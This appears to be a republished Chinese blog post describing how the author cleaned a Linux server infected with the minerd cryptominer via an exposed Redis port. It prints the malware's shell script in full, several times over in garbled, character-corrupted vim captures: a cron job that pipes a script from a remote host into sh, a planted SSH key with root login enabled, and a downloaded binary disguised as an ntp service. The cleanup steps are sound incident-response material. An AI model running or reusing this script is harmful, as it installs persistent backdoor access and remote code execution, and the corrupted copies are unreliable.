linux中了minerd之后的完全清理过程(详解)

湛蓝之海

下面小编就为大家带来一篇linux中了minerd之后的完全清理过程(详解)。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧
一不小心装了一个Redis服务，开了一个全网的默认端口，一开始以为这台服务器没有公网ip，结果发现之后悔之莫及啊
某天发现cpu load高的出奇，发现一个minerd进程 占了大量cpu，google了一下，发现自己中招了
下面就是清理过程
第一步
1.立即停止redis服务，修改端口权限，增加密码措施

2.按照网上的资料 删除 crontab 里的两个内容
sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root
3.知己知彼，百战不殆，研究病毒的初始话文件

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restart"pm.sh" 28L, 1470C            10,1-8  顶端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITTshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kvv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1yy993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK755NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restart                 10,1-8  顶端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rrootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/ccrontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOcc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm88gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBrro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi if [ ! -f "/etc/init.d/ntp" ]; then                  10,1-8  顶端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rooot if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yWW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root"" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi if [ ! -f "/etc/init.d/ntp" ]; then  if [ ! -f "/etc/systemd/system/ntp.service" ]; then    mkdir -p /opt@                     10,1-8  顶端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/AAg1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txLL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNyytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi if [ ! -f "/etc/init.d/ntp" ]; then  if [ ! -f "/etc/systemd/system/ntp.service" ]; then    mkdir -p /opt    curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK775NEOiq33 && /opt/KHK75NEOiq33 -Install  fifi                         10,1-8  顶端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TTdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wwL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAddY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi if [ ! -f "/etc/init.d/ntp" ]; then  if [ ! -f "/etc/systemd/system/ntp.service" ]; then    mkdir -p /opt    curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /oppt/KHK75NEOiq33 -Install  fifi /etc/init.d/ntp start ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9                             10,1-8  顶端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi if [ ! -f "/etc/init.d/ntp" ]; then  if [ ! -f "/etc/systemd/system/ntp.service" ]; then    mkdir -p /opt    curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Instaall  fifi /etc/init.d/ntp start ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9~~~~~                                  10,1-8  全部export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi if [ ! -f "/etc/init.d/ntp" ]; then  if [ ! -f "/etc/systemd/system/ntp.service" ]; then    mkdir -p /opt    curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install  fifi /etc/init.d/ntp start ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

得到结果
1.删除crontab的配置文件，如上我们已经删除，涉及的代码

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

2.删除 这个是用来免密码登陆的
rm -f ~/.ssh/authorized_keys*
rm -f ~/.ssh/KHK75NEOiq
你甚至可以直接把.ssh这个目录删除掉
涉及的代码

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then  mkdir -p ~/.ssh  rm -f ~/.ssh/authorized_keys*  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq  echo "PermitRootLogin yes" >> /etc/ssh/sshd_config  echo "RSAAuthentication yes" >> /etc/ssh/sshd_config  echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config  echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config  /etc/init.d/sshd restartfi

3.删除 /opt/这个目录 这玩意是第四步的服务产生的
4.删除服务
service ntp stop
rm /etc/init.d/ntp
rm /usr/sbin/ntp
涉及的代码

if [ ! -f "/etc/init.d/ntp" ]; then  if [ ! -f "/etc/systemd/system/ntp.service" ]; then    mkdir -p /opt    curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install  fifi

如上的代码，下载了一个8M的程序，是安装了什么东西，楼主也不知道，但是接下来的代码暴露了行踪
/etc/init.d/ntp start
这行代码启动了ntp这个服务，百度搜了下说是个时间服务，其实这玩意是病毒服务，打开这个文件，找到可执行文件/usr/sbin/ntp 发现文件和那个8m的文件一个字节不差
所以删除这个文件
最后
ps aux|grep minerd
kill 掉所有的进程，ok修复结束
半小时之后
ps aux|grep minerd
minerd进程不再出现
以上就是小编为大家带来的linux中了minerd之后的完全清理过程(详解)全部内容了，希望大家多多支持CodeAE代码之家~